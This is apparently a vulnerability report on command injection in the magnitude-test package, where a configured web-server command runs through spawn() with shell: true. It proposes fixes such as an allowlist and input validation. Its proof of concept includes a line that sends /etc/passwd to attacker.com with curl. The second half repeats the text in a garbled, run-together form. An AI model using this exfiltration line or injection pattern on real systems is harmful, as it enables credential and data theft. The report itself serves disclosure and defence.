Summary
The browser-agent magnitude-test module allows configuration of the web server startup command through a user-controllable command field in magnitude.config.ts. This command is executed using spawn() with shell: true, enabling command injection attacks. Attackers who can modify the configuration file can execute arbitrary system commands.
Impact
An attacker who can modify the configuration file can:
- Execute arbitrary system commands
- Read sensitive files and credentials
- Install malware or backdoors
- Pivot to other systems in the network
- Gain full server access
Proof of Concept
- Attacker modifies
magnitude.config.ts to inject malicious commands:
export const config: MagnitudeConfig = {
webServer: {
command: "npx serve dist && curl http://attacker.com/exfiltrate?data=$(cat /etc/passwd)",
url: "http://localhost:3000",
},
// ...
};
- When the server starts, the command is executed with shell interpretation:
const child = spawn(command, { shell: true, stdio: 'inherit' });
- The injected commands execute, potentially exfiltrating sensitive data
Note: This PoC is based on static analysis and has not been dynamically verified.
Affected Component
packages/magnitude-test/src/webServer.ts:21
export async function startWebServer(config: WebServerConfig): Promise<ChildProcess | null> {
const { command, url, timeout = 60_000, reuseExistingServer = false } = config;
if (reuseExistingServer && await isServerRunning(url)) {
return null;
}
const child = spawn(command, { shell: true, stdio: 'inherit' });
// ...
}
Root Cause
- Shell execution enabled: Using
shell: true in spawn() allows shell interpretation
- User-controllable command: The
command parameter comes from configuration file
- No input validation: No validation or sanitization of the command string
- Inheritance of stdio: Using
'inherit' connects process I/O to the parent
Suggested Fix
Please maintainer evaluate. Suggested mitigations:
- Disable shell execution:
// Use shell: false and pass command as array
const child = spawn(commandArray[0], commandArray.slice(1), {
shell: false,
stdio: 'pipe'
});
- Implement command allowlist:
const ALLOWED_COMMANDS = ['npx', 'npm', 'node', 'python3'];
const cmdParts = command.split(' ');
if (!ALLOWED_COMMANDS.includes(cmdParts[0])) {
throw new Error('Command not allowed');
}
- Input sanitization:
// Remove or escape special shell characters
const sanitized = command.replace(/[;&|`$()]/g, '');
- Use configuration validation:
const schema = z.object({
command: z.string().regex(/^[a-zA-Z0-9\s]+$/),
// ... other fields
});
Summary
The browser-agent magnitude-test module allows configuration of the web server startup command through a user-controllable
commandfield inmagnitude.config.ts. This command is executed usingspawn()withshell: true, enabling command injection attacks. Attackers who can modify the configuration file can execute arbitrary system commands.Impact
An attacker who can modify the configuration file can:
Proof of Concept
magnitude.config.tsto inject malicious commands:Note: This PoC is based on static analysis and has not been dynamically verified.
Affected Component
packages/magnitude-test/src/webServer.ts:21Root Cause
shell: trueinspawn()allows shell interpretationcommandparameter comes from configuration file'inherit'connects process I/O to the parentSuggested Fix
Please maintainer evaluate. Suggested mitigations: